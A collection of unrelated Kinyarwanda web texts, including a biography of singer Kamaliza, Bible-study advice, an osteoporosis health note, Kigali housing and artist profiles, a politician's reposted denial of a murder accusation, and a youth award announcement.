Ibitaramo mu muryango byarangwaga n’imbyino, umudiho gakondo n’ibiganiro byiganjemo urwenya. Mu mwaka w’1959, umuryango we kimwe n’indi myinshi y’abatutsi yarameneshejwe maze kwa Kamaliza bahungira mu gihugu cy’abaturanyi cy’u Burundi. Aha ninaho yatangiriye amashuri ye abanza mu murwa mukuru i Bujumbura. Mu mwaka w 1968, nyina umubyara yaje kwitaba Imana. Ibi byatumye se amwohereza kwa mukuru we witwa Ana Mariya Murekeyisoni wari warashatse muri Kongo kubera ko yabonaga Kamaliza akeneye uwajya mu cyimbo cya nyina.
Yahise akomereza amashuri ye yisumbuye i Lubumbashi mu ishuri ry’abafurere n’abasaveri riri i Likasi atangira no kuririmba mu makorali atandukanye ya Kiliziya Gatolika. Ku myaka ye y’amavuko 20, umuyobozi wa Korali yitwaga Kiromboro wari waratangajwe n’impano ya Mukamuliza Annonciata yamuhaye Gitari. Ibikorwa bya muzika bya Kamaliza muri icyo gihe, ntibyashimishaga na gato mukuru we Anna Mariya babanaga. Uyu yashakaga ko murumunawe aba umukobwa w’umuco wo mu gikari ufite za ndangagaciro cyera zitwaga iz’umukobwa w’umutima.
Mu kumushakira uburyo yatuza akanareka kuririmba mu ruhame, yashatse kumushyingira umusore wo mu muryango mwiza nk’uko byari bisanzwe bimenyerewe mu muco w’abanyarwanda. Mu kutishimira icyo cyifuzo cya mukuru we, Kamaliza yasabye uruhushya rwo kujya i Bujumbura, guhera ubwo ntiyagarutse i Lubumbashi. Yaje no guhita abona kazi muri Minisiteri y’Imari i Bujumbura. Mu gihe cy’ikiruhuko kigufi ndetse na nyuma y’akazi yabaga arimo kuririmba anifata amajwi kuri cassettes yifashishije radio yari yarahawe n’umwe mu nshuti ze witwa Tereza.
Mu mwaka w’1980, Ministeri yamwimuriye kujya gukorera ahantu kure maze yanga gusiga se umubyara ahitamo kureka akazi, ibi biza no gutuma abona umwanya uhagije wo kuririmba. Mu mwaka 1982 yatsinze irushanwa ryo kuririmba i Bujumbura, ahita anafata akazina ka Kamaliza biturutse ku ndirimbo ya Orchestre Amabano, iyi yaje yaje no kumwemererera kujya ayiririmbamo. Kugirango indirimbo ze zishobore kuhitishwa mu bitangazamakuru byo muri icyo gihugu yagombaga kuhindura indirimbo ze mu Kirundi, ariko we ahitamo kujya abivanga n’ikinyarwanda. Mu mwaka w’1984 yagiye mu gace ka Mushiha, ahari abanyarwanda benshi b’impunzi, atangira gufatanya n’itsinda ry’abasore b’abakorerabushake kubaka amashuri. Hakiyongeraho n’ibitaramo yakoraga akusanya amafaranga yabunganiraga mu kubaka.
Mu mwaka w’1990 adasize gitari ze ebyiri, yafashe icyemezo cyo kugenda mu ibanga akajya gufatanya n’umutwe wa FPR wari utangiye urugamba rwo kubohora igihugu. Mu ishyamba, kubera ijwi rye n’indirimbo ze, yasusurutsaga ibitaramo ndangamuco mu gutera akanyabugabo, mu guhoza no gushyigikira abari ku rugamba. Yari umwe mu bagize itorero Indahemuka. Nyuma ya Jenoside yakorewe abatutsi mu mwaka w’1994, impano ye yayituye abantu bahuye n’ayo mahano. Kamaliza yashakaga guhoza, guhamagarira abantu kwishima, gutekereza ko bari bari mu mubiri bashobora kubaho no kunyeganyega.
Yashakaga ko hakiyongera byanze bikunze icyiza cyose kandi gitera ibyishimo. Ibi byagaragariraga ku bitaramo by’ubuntu yakoraga kugirango ahure n’abarokotse Jenoside, hakiyongeraho kurera imfubyi mu kazu ke gato yari afite. Yatangiriye ku bana batatu barimo uwo yatoraguye amaze amezi make avutse, gusa yaje kwitaba Imana afite umuryango mugari w’abana 15. Muri Gicurasi 1996 ku nkunga y’inshuti ye Nzambazamariya Veneranda na SNV yagiye mu Buhorandi gutunganya CD ye yise Humura Rwanda.
Mu mpera z’uwo mwaka nyine, ubwo yajyaga kwa bene wabo aherekejwe na zimwe mu nshuti ze z’abaririmbyi , mu kugaruka iwabo bakoze impanuka y’imodoka maze Mutamuliza anyura mu kirahure ariko ntiyahita apfa. Yataye ubwenge mu gihe kingana n’icyumweru cyose maze ku itariki ya 5 Ugushyingo 1996, uwo muhanzikazi wanyuze benshi ashiramo umwuka. Imana imuhe iruhuko ridashira.
Nta ndirimbo ya Kamaliza idafite impamvu cyangwa imvano. Zimwe muri zo zifite ubusobanuro bwamenyekanye. Duhereye kuri iyo Kamaliza yamwitiriwe, iyi yahimbiye umugore wamuhaye umuti wo kuvura se yajya kumwishyura akamubwira ko icyo ashaka ari uko se akira atari amafaranga. Indi yitwa Nzakumara irungu yayihimbiye inshuti ye Tereza; imwe yamuhaye iradio yajyaga yifatiraho amajwi, uyu yabanaga mu nzu we na nyina gusa, Kamaliza akamubwira ko azamumara irungu, yamwita umutoni w’abato ndetse akajya amucurangira igihe yigunze.
Indirimbo intare yayihimbye bitewe n’umusirikare witwaga Kayitare. Mutamuliza aririmba ibiranga ingabo biri muri uwo musirikare, ariko akanavuga ibiranga imico ye nko gusetsa, kwihangana, kudasubira inyuma no kwita ku nshingano ze. Nk’ingabo, ashimagiza uko yayoboraga, ubuhanga bwe mu gutera umwanzi no kuba adatsindwa. Kayitare yaje gupfa mu mwaka w’1993 biturutse ku burwayi, gusa yapfuye yaragize amahirwe yo kumva kenshi ijwi rya Kamaliza. Hiyongeraho nk’iyitwa Nimuve mu nzira yemwe, yahimbiye inshuti ye Nzambazamariya Veneranda, Laurette yahimbiye inshuti ye buri bucye ashyingirwa.
Tugarutse kuri Kamaliza, abamumenye bose bazi ko yari afite impano yo kuba umunyamuzika. Yayifashishije abandi adategereje ko bazayimwitura, yabayeho yicisha bugufi, adakoresha nabi impano ye cyangwa ngo ayicuruze kugirango abeho nk’abaherwe nk’uko abandi baririmbyi babikora.
Coming Soon....


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Igisubizo: Kumva icyo Bibiliya ishaka kuvuga ni kimwe mu bintu by’ingenzi mu buzima bw’umukristo. Imana ntidusaba gusoma Bibiliya gusa. Tugomba kuyisoma uko bikwiye (2 Timoteyo 2:15). Kwiga Bibiliya ni icyate kitoroshye. Kunyuzamo amaso cyangwa kuyisoma amahushuka bishobora gutanga imyanzuro ifutamye cyane. Ni ngombwa rero kubanza kumenya amahame y’ingenzi yagufasha mu kumva icyo Bibiliya ivuga.
Icya mbere kandi cy’ibanze, usoma Bibiliya agomba gusenga, agasaba ubwenge Mwuka Wera, kuko ari imwe mu nshingano ze. “Uwo Mwuka w'ukuri naza azabayobora mu kuri kose kuko atazavuga ku bwe, ahubwo ibyo azumva ni byo azavuga, kandi azababwira ibyenda kubaho” (Yohana 16:13). Nkuko Mwuka Wera yayoboye intumwa ubwo zandikaga Isezerano Rishya, ni nako atuyobora iyo dusoma ibyanditswe. Wibuke, Bibiliya ni igitabo cyandistwe n’Imana, niyo rero igomba kudusobanurira icyo yashakaga. Niba uri umukristo, umwanditsi wa Bibiliya – Mwuka Wera – atuye muri wowe, kandi arashaka kugusobanurira ibyo yandikishije.
Icya kabiri, ntabwo tugomba gutandukanya icyanditswe runaka n’ibindi bicyegereye, kuko ubwo bituma dutangira gushaka kugisobanura kitari mu mwanya wacyo. Tugombye buri gihe gusoma ibyanditswe bugikikije, bitihi se igice cyose, kugira ngo twumve neza ubusobanuro bw’icyo cyanditswe. Nubwo ibyanditswe byose biva ku Mana (2 Timoteyo 3:16, 2 Petero 1:21), Imana yakoresheje abantu ngo babyandike. Abo bantu babaga bafite ingingo bashaka kwandikaho, n’impamvu bashaka kuyandikaho. Tugomba rero gusoma amateka y’igitabo turi kwiga, tukamenya uwacyanditse, uwo yandikiraga, igihe cyandikiwe, ndetse n’impamvu cyanditswe. Nanone, tugomba kureka icyo cyanditswe kikivugira, kuko akenshi abantu bivangiramo insobanuro zabo kugira ngo bagere ku byo bishakira.
Icya gatatu, ntitugombye gushaka kuba ibyigenge mu kwiga Bibiliya. Ni ubwirasi gutekereza ko ntacyo twakungukira mu byagezweho n’abandi bize Bibiliya mbere yacu. Bamwe bibeshya ko bashobora guhishurirwa byinshi muri Bibiliya nta wundi barebeyeho uretse Mwuka Wera. Ukuri ni uko Kristo, binyuze mu Mwuka Wera, yahaye umubiri we impano nyinshi z’Umwuka. Imwe muri izo mpano ni ukwigisha (Abefeso 4:11-12, 1 Abakorinto 12:28). Abo bigisha tubahabwa n’Imana ngo badufashe kumva neza kandi no kubaha ibyanditswe. Ni byiza kwiga Bibiliya turi kumwe n’abandi bizera, dufashanya, duhugurana mu gusobanukirwa no gushyira mu bikorwa ukuri dusanga mu Ijambo ry’Imana.
Muri make, ni ubuhe buryo bwiza bwo kwiga Bibiliya? Icya mbere, icishe bugufi unasenge, kandi usabe Mwuka Wera aguhe gusobanukirwa. Icya kabiri, usomere ibyanditswe mu murongo byandikiwemo, udashidikanya ko Bibiliya ubwayo isobanutse. Icya gatatu, ubaha kandi wige ibyo abandi bizera bagiye bacukumbura muri Bibiliya mbere yawe. Mbere ya byose ariko, wibuke ko Imana ariwe mwanditsi wa Bibiliya, kandi ko ishaka ko dusobanukirwa ibyo yandikishije.
Ikibazo: Haba hari uburyo bwiza bwo kwiga Bibiliya?
Igisubizo: Kumva icyo Bibiliya ishaka kuvuga ni kimwe mu bintu by’ingenzi mu buzima bw’umukristo. Imana ntidusaba gusoma Bibiliya gusa. Tugomba kuyisoma uko bikwiye (2 Timoteyo 2:15). Kwiga Bibiliya ni icyate kitoroshye. Kunyuzamo amaso cyangwa kuyisoma amahushuka bishobora gutanga imyanzuro ifutamye cyane. Ni ngombwa rero kubanza kumenya amahame y’ingenzi yagufasha mu kumva icyo Bibiliya ivuga.


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Ositewopolozisi ni iki?Iyi ni indwara igaragara iyo amagufwa yawe aba yoroshye kandi avunika vuba. Nkuko bigaragazwa n’ikigega cy’igihugu cy’ositepolozisi cy’Afurka yépfo kigaragaza ko abagore aribo bakunze guhura n’iyi ndwara.
Kuyirwanya ubutangira kare
Abagore batabona calisiyumu badakora imyitozo ngororangingo bakiri bato nibo bahura n’iyi ndwara.
Ikunze kugaragara mu gihe cy’ imyaka 50 cyangwa mu gihe cyo guca ibyara. Mu gihe wumva ubyikekaho shaka umuganga kugirango arinde ubuzima bwawe.amagufwa yawe atangira abuira imyunyu mu gihe cyímyaka 30, ariho ariko ushobora kuyafata neza urya neza kandi ukora imyitozo.
Ni ibihe bituma ositewopolozisi yiyongera ?
- kunanuka, kugira umubyimba wámagufwa muto
- kuba uri hejuru y’imyaka 50
- kugera mu gihe cyo guca ibyara
- kugirana isano na ositewopolozisi
- kutabona imyunyu ihagije mu buzima bwawe bwa buri munsi
- kubabara ijosi n’umugongo
- kuvunika byoroshye amagufwa nubwo waba utaguye cyangwa ngo unyerere.
- Koroha kwámagufwa
- Sukura imikeka ugendaho no hasi kugirango utanyerera ukagwa
- ntugatware ibintu biremereye
- ntukagende ahantu hanyerera
- kwambara inkweto zifite talo itanyerera
- kwitwaza ikibando cya agakoni
ubitangira ukiri muto. Kongera indyo yuzuyemo imyunyu myinshi. Niba kandi utarya imyunyu, fata vitamine kandi ubibwire muganga akugire inama.


text:
Ikiyovu cy’Abakene, Umuhima, Kimicanga, n’ibindi bice bitandukanye by’umunyi wa Kigali, ni hamwe mu hari hazwi ko haba abaturage benshi bahamaze igihe aba bita ba Kavukire, ariko muri iyi minsi uko iterambere ry’Umujyi wa Kigali rigenda ritera imbere, ni ko na bo bagenda bafata utwangushye bagakuramo akabo karenge bakajya kwibera hirya y’Umujyi.
Ndera, Kanombe, Kabuga, Murindi, Nyamata, Ruyenzi, Kabuye n’ahandi mu nkengero z’Umujyi ni ho usanga aba baturage bimurwa mu Mujyi wa Kigali berekeza, kuko ari ho bashoboye kuba batangira ubuzima bushya cyangwa se bakubaka amazu ajyanye n’amikoro yabo.
Hari abavukiye mu bice by’Umujyi ariko bagasanga atari abakire bagahinga bagatungwa n’amasambu yabo cyangwa se indi mirimo iciriritse, bamwe mu bimutse ku ikubitiro ni abimuwe ubwo bakoraga imihanda muri Kigali, ariko icyo gihe bari bakeya; gusa kuri ubu bigaragara ko ab’amikoro make batuye muri Kigali batahamara kabiri, dore ko hari n’abifuza kwimurwa kuko usanga urwego barimo ubuzima bwo muri Kigali batabasha kububamo, kandi iyo bimuwe bakaba babasha kubona ingurane ituma batangira ubuzima bundi bushya.
Si ba Kavukire gusa ariko bafite ikibazo cyo kuba muri Kigali, kuko n’abimukira b’amikoro aciriritse na bo usanga babaho ku bwa burembe, aho usanga nga kubona amafaranga y’icumbi abona umugabo agasiba undi, tutibagiwe ko hari bamwe baza i Kigali baje kuhashakira ubuzima ariko nta kazi bahagira.
Hari ingamba ariko Ubuyobozi bw’Umujyi wa Kigali bwamaze gufata mu rwego rwo gufasha ab’amikoro acirirritse, dore ko buvuga ko mu gihe cya vuba hazatangira kubaka ab’amikoro aciririrtse muri Kigali, ariko ibi ntibizabuza ba Kavukire gukomeza kwimurwa kuko ahubakwa ubu ahenshi muri Kigali ari ahaba himuwe abandi bantu.


text:
Ntagara, ni umushushanyi wabigize umwuga ariko utarabyize mu ishuri nk’abandi. Yatangiye kubikora akiri umwana muto ubwo yigaga mu mashuri abanza, ababyeyi ntibumvaga iby’impano ye kuko bamuhozaga ku nkeke bamubuza kuzana amarangi mu rugo kuko yarwanduzaga ashushanya.
Ni umwuga yiyigishije, ni impano yivumbuyemo kuva mu bwana arayikurana kugeza mu mashuri yisumbuye. Ntagara uvuka i Remera mu Mujyi wa Kigali yavuye mu ishuri ageze mu mwaka wa Gatanu, yigaga ubumenyamuntu akabifatanya no gushushanya kugeza ubwo iyi mpano yamutwaye roho acikiriza amashuri.
Ati “Nashushanyaga nkiri umwana, wasangaga mu rugo nahanduje kubera amarangi nazanaga ab’iwacu bikababaza. Narabyiyigishije, sinabyize mu ishuri…”
Amaze imyaka itatu mu bugeni…
Ntagara avuga ko amaze imyaka isaga gato itatu akora ubugeni nk’umwuga gusa akemeza ko yabitangiye akiri umwana muto. Ni ubumenyi yishatsemo ndetse kugeza ubu ibyo ashushanya ngo ni ukuvumbura gusa adakopeye ku bandi.
Ati “Natangiye gukora ubugeni nkiri umwana ariko bwari ku rwego rwo hasi, nabitangiye nk’umwuga mu mwaka wa 2013 […] Natangiye nkora ibinigi n’ibikomo by’abagore, mu myaka itatu isaga mbimazemo mfite ubumenyi bwo gushushanya ikintu cyose uko ngishaka.”
Atunzwe no gushushanya
Ntagara Djamal wibana mu nzu akodesha mu Rugando ku Kimihurura muri Uburanga Arts Studio ari naho akorera, avuga ko nta kandi kazi agira ku ruhande uretse gushushanya.
Ibyo akenera byose nk’umusore wibeshejeho i Kigali abikura mu mafaranga abyaza ubugeni, akazi yubaha cyane ndetse abonamo ahazaza h’ubuzima bwe.
Ati “Ni byo bintunze, ni byo bimbeshejeho, binyishyurira inzu, ikintu cyose nkenera ni byo mbikesha. Ikindi gikomeye ni uko bisaba gukora cyane, kuvumbura no guhimba ku buryo ikintu cyose ukoze kiba gifite umwimerere utandukanye n’ibindi bihangano.”
Yongeraho ati “Imibereho yanjye yarahindutse, kugeza izi saha simbura amafaranga kuri konti, mbasha kwikemurira ibibazo no kwiteza imbere ku buryo uko iminsi ishira ngenda mbona ko nazamutse mva ku rwego rumwe nkagera ku rundi.”
Inzozi z’umunyabugeni Ntagara
Ati “Icyerekezo mfite ni uko nifuza gukora ubuhanzi bwanjye ku rugero ruri hejuru ku buryo nshobora gukora igihangano cyajya mu nzu ndangamurage y’u Rwanda nk’igihangano cyanjye.”
Yongeraho ati “Mu bintu bikomeye numva nnifuza kugeraho ni uko nyuma y’imyaka itarenze nk’itanu kuba mfite ikusanyirizo ry’ibishushanyo biri ku rwego mpuzamahanga nkayishyira mu Mujyi wa Kigali.”
Ntateganya gusubukura amasomo mu by’ubumenyamuntu[Sciences Humaines] ahubwo ngo igihe azayakomereza yifuza kwihugura mu byo gushushanya akazavamo umunyabugeni uri ku rwego mpuzamahanga.
Ntabwo nagize amahirwe yo kwiga, si uko nabuze amafaranga y’ishuri, ni njye waryivanyemo […] Navuga ko navuye mu ishuri kubera gushushanya, ni ibintu nakundaga cyane bikantwara umwanya munini kugeza ubwo navuye mu ishuri.
Camera&Editing: Kazungu Armand


text:
Friday, March 30, 2012
4 Comments:
- At March 30, 2012 at 1:44 PM , said...
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Iki ni igisubizo cyatanzwe na Rutayisire Boniface kuri Majyambere kirangije gitangazwa kumbuga zose n'ahandi. Twizere ko ahita ahanagura ibinyoma bye by'ibihimbano
From infotubeho@yahoo.fr :
Partie I:
Ikibazo cy'iyicwa rya Dusabumuremyi Alias ntaho Rutayisire Boniface ahuriye nacyo:
Ndamenyesha abantu bose ko ibintu byadutse byo guhimba ibinyoma ngo barashaka kumvisha Rutayisire Boniface bamugerekaho ubwicanyi bwakorewe Bourgmestre Dusabumuremyi Elias ari ibinyoma.
Abantu bazanye ibyo bintu kuri internet bahise bigaragaza ko icyo abanyarwanda babereyeho ari ibinyoma bagamije kwica. Ndetse muguhimba ibyo binyoma harimo n'ubuswa bwinshi.
Njyewe Rutayisire Boniface ndatangaza ko ntaho mpuriye n'urupfu rwa Dusabumuremyi Elias. Abahimbye ibyo bintu biragaragara ko ari abicanyi bahimba ibinyoma bidashobora gufata.
Uwavuze ko Dusabumuremyi yicwa nari muri Komini yayoboraga ni ibinyoma. Nta n'ubwo naherukaga muri iyo Komini. Uwo munsi yishweho nari i Kigali mukazi kanjye kurinda ngeza nijoro. Haba muminsi yabanjije haba uwo munsi ndetse no muminsi yakurikiye nari i Kigali mukazi kanjye.
Ndetse ayo masaha bavuga ko yishwemo njye nari ndimo kuvugana n'umukiriya wanjye w'umuzungu muri USA ntegura ibicuruzwa bye (by'ibitabo yari yarakoreye commande) kuko muri sosiyete yanjye harimo ishami ryari ribishinzwe. N'ubu ibyo bitabo ushobora kubisanga muri za bibliotheques zo muri Amerika aho nawe yabicuruje. No muri ayo masaha namwoherereje fax ashobora no kuba akiyifite.
Abahimbye biriya by'ubwicanyi babigereka kuri Rutayisire Boniface ni ibinyoma byo kugirango bihimure ariko babikoze mumakosa kuko babikoze kumuntu batazi neza.
Ikindi abantu bahimbye ibyo binyoma nabonye bavuze ko imodoka yanjye yari ihari kandi ari ibinyoma kuko umuturage wa mbere watabaye Burugumestiri yicwa yatangarije kuri radio ijwi ry'amerika mugitondo ko we yiboneye ko imodoka yari ihari yari imodoka y'umweru ya Tata y'abasirikare ndetse ikaba ariyo yatwaye Burugumesitiri akagenda atabaza. Uwo muturage wari utabaye yavuze ko yirukanywe n'abasirikare kandi yavuze ko yabiboneye. Nta modoka y'umweru rero nari mfite muri icyo gihe.
Uwahimbye ibinyoma rero ko Rutayisire Boniface yari ahari n'imodoka ye ibyo ni ibinyoma bidashora gufata.
Uwahimbye ibinyoma yongeyeho ko Dusabumuremyi yari Bourgmestre wa Komini ya Kayenzi, ibyo sibyo ahubwo yari Bourgmestre wa Komini ya Nyabikenke. Ibi byose biragaragaza ihuzagurika rikomeye kuburyo abantu nk'aba bakwiriye kubihanirwa.
Rutayisire Boniface
- At March 30, 2012 at 1:47 PM , said...
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From infotubeho partie II:
Souite y'inyandiko ya Rutayisire Boniface asubiza Majyambere
Ikindi kigomba kumenyekana n'uko ayo makimbirane na Burugumestiri n'umuryango w'umugore wanjye ntayigeze abaho. Kuva abaye Bourgmestre ndetse ataranamuba barasabanaga neza ndetse hari hashize amezi menshi adutumiye mubirori yari yakoresheje muri Komini ye tujyayo nk'abashyitsi bakuru dusabana nawe hamwe n'abaturage bose. Ikindi kitari kizwi n'uko uwo mu Burugumesitiri yari amasano n'umuryango w'umugore wanjye. Kuremenyekana ibintu bidashobora gufata uhimba urwango aho rutigeze ruba ni ubwicanyi nk'ubundi.
Ikigomba kumenyekana ahubwo nuko hari abantu banga Mabukwe bakomoka muri iyo komini kuko yabarokotse kumunota wa nyuma bamushoreye ari ikivunge cy'ishyano ryose bagiye kumuroha muri Nyabarongo noneho bagera kugasozi bagenda bamunona bamwambitse ubusa Komini igahita ifatwa n'inkotanyi bakiruka. Niba rero abahimbye ibinyoma baba baciye kubantu nkabo kugirango bumvishe uwo muryango baciye kumukwe wabo ibyo nabyo ntibishobora gufata kuko Rutayisire Boniface ndi umuntu utagira amaraso kuntoki n'imana irabizi.
Ahubwo abavuga ko muri ibyo bihe Rutayisire Boniface yaba yarashoboraga kwica abahutu ni ubushinyaguzi kuko bagombye kubanza kumenya ko muri ibyo bihe aribwo abo bavukana ndetse n'abandi bagize umuryango we aho avuka bari bamerewe nabi i Kibungo. Ntabwo waba wicirwa abantu i Kibungo buri munsi ngo noneho wishorere ujye kwica abo musangiye ingorane z'ubwoko i Gitarama. Iyo minsi bavugamo iyicwa rya Burugumestiri nibwo nari ndimo mpuruza za droit de l'homme nzijyana i Kibungo n'ahandi ngo zitabare. Ese waba wahurujwe ngo iwanyu abo muva inda imwe babateye banaga ibishangara byaka munzu ngo bayibatwikire hejuru ikanga ikabananira kuko yari yubakishije ciment n'amabati noneho ngo nawe urajya kwica abahutu Gitarama. Muri abahemu b'abagira nabi. Abahimbye biriya binyoma ni abicanyi nk'abandi bose imana izabahana.
Rutayisire Boniface
- At March 30, 2012 at 1:48 PM , said...
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From infotubeho :
Igice cya gatatu cy'inyandiko ya Rutayisire Boniface asubiza Majyambere
Ahubwo muzabaze neza muzasanga abahutu b'i Gitarama narabagiriye akamaro gakomeye kuko namaganye akarengane bakorerwaga. Ndetse nageze naho mbona ibintu byakomeye mpitamo kubashingira n'ikinyamakuru spécial kugirango cyamagane itsembabagabo ryari ryarahadutse muri gitarama. Muzashake ikitwa La vigilance muzabonako gitabariza Gitarama kivuga ko nta mugabo w'umuhutu usigaye i Gitarama. Kandi hari abicanyi bunamuye icumu bumvise ko bitangiye kwamaganwa kumugaragaro. Kwandika ibyo bintu muri icyo gihe kandi nkabicapa muri imprimeri ya sosiyete yanjye kubuntu ntabwo ari ikintu cyoroshye. Njye ntacyo ntakoze ngo ndengere abantu ariko ariko abo warengeye iyo batangiye guterura umuhoro w'ibinyoma ngo bakwice utangira kwibaza icyo abantu aricyo.
Muzabaze na Murengerantwari wandikaga Nyabarongo ninjye namwandikiraga ibikomeye nk'ikinyamakuru kigeze gusohora rapport y'Amnistie yose.
Ntabwo navuga ngo inyiturano y'abahutu kandi nanjye ndiwe n'ubwo mugeza aho mukabunyambura. Mukubeshya ko naba mfite amaraso kuntoki mukoze ikosa ry'amateka kuko muhimbye ikintu kidashobora gufata. Yaba umuhutu cyangwa umututsi ntamuntu n'umwe nigeze ndya urwara cyangwa ngo ngire uwo mbeshyera. Yewe nta n'uwo nafungishije. Ndetse hari n'abantu bangiriye nabi muri 1994 bari muburayi kuri ubu, abo bose bari i Kigali nyuma ya 1994 barabizi ko ntacyo nabatwaye. Ndi umuntu w'imana. Hari n'uwo nigeze kubona muburayi wari mukivunge cy'abaturage mugiturage cyanyicaje hasi muri 1994 we asaba abaturage ngo bahite banyica hanyuma abaturage baramwangira biyemeza kuzinduka bajya kundoha muri Nyabarongo kuko batashakaga kuvunika bahamba igitumbi cy'umusore, uwo muntu ari mu Burayi sinamuriye n'urwara araho aragaramye ni umutagisimeni n'ubwo iyo duhuye abura amahoro. Uwo munsi abaturage bazindutse baza kunshaka aho bambikije ngo bajye kundoha muri Nyabarongo basanga abacuruzi banyibye banjyanye i Gitarama i Kabgayi ariko bananirwa kungezayo. Ngo haje abaturage barenga ibihumbi bitatu b'imisozi hafi itanu bitwaje ibicumu n'ibisongo. Abo baturage bose nta n'umwe nyuma ya 1994 nagiriye nabi ahubwo bamwe muribo hari nabo nasabiye amashuri y'abana babo abandi mbaha akazi. Imana yandinze ikandokora ntabwo nayihemukira nkora amaraso y'umuntu. Nahakanye ko nzasaza ntakoze amaraso. Imana izakomeze imfashe indinde ibyo bintu.
Nabivuze kenshi ko ntawe uzanyegekaho amaraso ngo bifate kuko ibihe byonyine nari mvuyemo hamwe n'ibyo nanyuzemo byose sinshobora gukora ikintu cyabuza umuntu ubuzima. Ndi umwere utagira inenge. Ndi muri bake b'abanyapolitiki batagira ikizinga na busa. Ibyo kandi mbishimira imana kuko yandokoye ndetse ikampa n'umutima wo gufasha abandi nkanabitangira.
Le 30/03/2012
RUTAYISIRE Boniface
tel (32) 488 250305
email: infotubeho@yahoo.fr ( yahoo.fr)
- At March 30, 2012 at 1:49 PM , said...
-
Igice cya kane cy'inyandiko ya Rutayisire Boniface isubiza Majyambere
Date: Friday, March 30, 2012, 3:36 AM
Majyambere
Nk'uko uri bubibone munyandiko maze gutangaza hasi, ntaho mpuriye n'ikibazo cy'iyicwa rya Bourgmestre Dukuzumuremyi Eliyasi.
Niba ibyo bintu wabihawe n'uwaba ashaka kuvuganira Mushayidi mumafuti, uwo muntu umusubize ko yahushije rwose.
Ikindi kandi mugomba kumenya ntabwo gutangaza ibya Mushayidi byakozwe ari uko yabonye igikombe, oya rwose usubiremo urebe amakuru neza, ikibazo cya Mushayidi kizwi guhera kera. uzabaze bamwe bari muri FDU hari abafite ayo makuru guhera kera.
Gutangaza ibya Mushayidi si ukudindiza opposition ahubwo ni ukuyiteza imbere cyane ndetse nawe bikamugirira akamaro, muzabibona kera kuko akenshi ibyo nkoze hari benshi batajya bahita babyumva ariko nyuma bakangarukira.
Kubyo kuvuga ko nshaka abayoboke nitwaje andi abandi bayoboke b'amashyaka, muribeshya cyane. Njye mfite abayoboke maranye igihe ndetse nibenshi cyane barenze n'abanyu kure cyane nindamuka mbakanguye bose. Nihaza n'abandi kubera bashimye inzira ndimo bazaze ni karibu ariko hari n'abahasanzwe benshi.
Muri biriya bikuru byawe, wavuzemo uwitwa Zimurilinda, ndagirango nkubwire ko uwo muntu ahubwo hari amakuru yangezeho avuga ko uwo muntu anzira bikomeye kuko mvugira aba victimes b'abahutu. Nta kintu nziranyeho nawe.
Majyambere rero, kubireba ubwicanyi bwakorewe abahutu cyangwa abatutsi ntana kimwe nigayaho kuko ndi umwe mubantu batagira ikizinga. Ndetse nibyo byampaye imbaraga zo kuvugira abavictimes bose kuko ndiyizi ko ndi umwere kuburyo n'uwamparabika bitafata. Ngitangira no kwamagana ubwicanyi bwa FPR kumugaragaro benshi baremekanyije ibinyoma ariko byose bikikubita hasi kuko ntakuri kurimo. Nawe rero ibi uvuze ni ibinyoma ugize nabi kandi uzahora ubyicuza ubuzima bwawe bwose numara kumenya neza.
Njye ufite icyo amvugaho azajye agitangaza ntakavuge ngo arindiriye inama ngobokagihugu kuko ibyo ni amaringushyo ya politiki kubibazo bireba ubucamanza.
Nta cyo nikanga imbere y'abantu n'imana. Soma iyo nyandiko yanjye iri hasi iraguha amakuru arambuye.
30/03/2012
Rutayisire Boniface
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Iri shimwe ryo gucyeza urubyiruko rw’indashyikirwa, ryatangijwe na Imbuto Foundation mu mwaka wa 2007 rigamije gushima no gutera imbaraga Urubyiruko rw’Abanyarwanda rwaharaniye kandi rukagera ku bikorwa by’ indashyikirwa mu mibereho yabo no mu kazi bakora, rwesa imihigo ndetse rukagaragaza umwihariko mu byo rwahisemo gukora.
Itangazo rya Imbuto Foundation risobanura ko uyu mwaka wa 2017, uyu muryango uzongera gufatanya na Minisiteri y’Urubyiruko mu gutegura iki gikorwa cyo gushimira Abanyarwanda bari hagati y’imyaka 18-35 bageze ku bikorwa by’Indashyikirwa.
Hazashimirwa kandi imiryango cyangwa ibigo bifite ibikorwa byo guteza imbere urubyiruko, haba mu mirimo, kubongerera ubushobozi n’ibindi. Ibi bihembo bitangwa rimwe mu myaka ibiri.
Mu guhitamo ababikwiye Imbuto Foundation yasabye Abanyarwanda guhitamo abakiri bato n’imiryango bafite ibikorwa by’indashyikirwa bagezeho, hanashyirwaho imirongo ngenderwaho mu kubahitamo. Iki gikorwa kizarangira ku wa 19 Ugushyingo 2017.
Mu cyiciro cy’ umuntu ku giti cye wageze ku bikorwa by’indashyikirwa, uhabwa amahirwe agomba kuba ari umunyarwanda, aba mu Rwanda cyangwa hanze yarwo, ari hagati y’imyaka 18-35, agaragaza gukorera ku ntego, kunoza umurimo no gukorana umurava, kuba agira umuco wo guhanga ibishya no kuba inyangamugayo.
Agomba kuba kandi afite ibihamya bigaragaza ko ibikorwa bye byahinduye imibereho ye n’iy’urubyiruko rw’aho atuye cyangwa akorera, kuba agaragaza indangagaciro z’umuyobozi mwiza mu rungano, aho akorera cyangwa atuye, kuba urubyiruko rumufatiraho urugero rwiza mu nzira yo kwigira no kwihesha agaciro no kugaragaza uburyo yakoresheje kugira ngo akureho inzitizi zose zari kumubuza kugera ku nzozi ze.
Ku rwego rw’ibigo cyangwa imiryango, bagomba kuba bafite ibyangombwa bibemerera gukorera mu Rwanda cyangwa mu mahanga, kuba bafite mu ntego zabo aho bigaragara neza ko bakora bagamije guteza imbere imibereho myiza y’urubyiruko ruri hagati y’imyaka 16-30, kuba ibindi bigo cyangwa imiryango babafatiraho urugero mu guteza imbere urubyiruko n’ibindi.
Ubwo yatangaga ibi bihembo ku nshuro ya Gatanu, Madamu Jeannette Kagame yavuze ko kuzirikana abakoze ibikorwa by’intangarugero bizafasha abandi kumva ko gushyira mu bikorwa indoto zabo hari ababashyigikira. Yibukije urubyiruko ko rufite inshingano zo kubaka igihugu gikungahaye, kurinda no gukomera ku gaciro k’Abanyarwanda.
Yagize ati “Turabibutsa ko mufite igihugu, ingufu, ubwenge n’ubushobozi bwo gukora kugira ngo u Rwanda dufite uyu munsi ruhore rutera imbere kandi bikozwe n’abana b’u Rwanda.”
Abanyarwanda bagera kuri 37 bamaze guhabwa na Madamu Jeannette Kagame ndetse na Minisiteri y’Urubyiruko, ibihembo bya YouthConnekt Champions na CYRWA hagendewe ku bikorwa by’indashyikirwa bagezeho kandi bifitiye abandi akamaro.
